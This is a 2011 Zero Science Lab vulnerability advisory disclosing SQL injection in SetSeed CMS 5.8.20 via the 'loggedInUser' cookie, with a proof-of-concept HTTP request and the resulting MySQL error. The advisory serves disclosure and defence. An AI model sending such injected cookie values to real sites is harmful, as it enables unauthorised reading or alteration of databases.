SetSeed CMS 5.8.20 SQL Injection

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SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability  
  
  
Vendor: SetSeed  
Product web page: http://www.setseed.com  
Affected version: 5.8.20  
  
Summary: SetSeed is a self-hosted CMS which lets you rapidly build  
and deploy complete websites and online stores for your clients.  
  
Desc: SetSeed CMS is vulnerable to SQL injection. A remote attacker  
could send specially-crafted SQL statements to the vulnerable script  
using the cookie input 'loggedInUser', which could allow the attacker  
to view, add, modify or delete information in the back-end database.  
  
  
Tested on: Microsoft Windows XP Pro SP3 (EN)  
Apache 2.2.21  
MySQL 5.5.16  
PHP 5.3.8  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
  
Advisory ID: ZSL-2011-5053  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php  
  
  
  
02.11.2011  
  
---  
  
  
GET /setseed-hub/ HTTP/1.1  
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4  
Host: localhost:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
HTTP/1.1 200 OK  
Date: Wed, 02 Nov 2011 15:39:39 GMT  
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1  
X-Powered-By: PHP/5.3.8  
Content-Length: 150  
Keep-Alive: timeout=5, max=62  
Connection: Keep-Alive  
Content-Type: text/html  
  
  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the  
right syntax to use near ''1''' at line 1  
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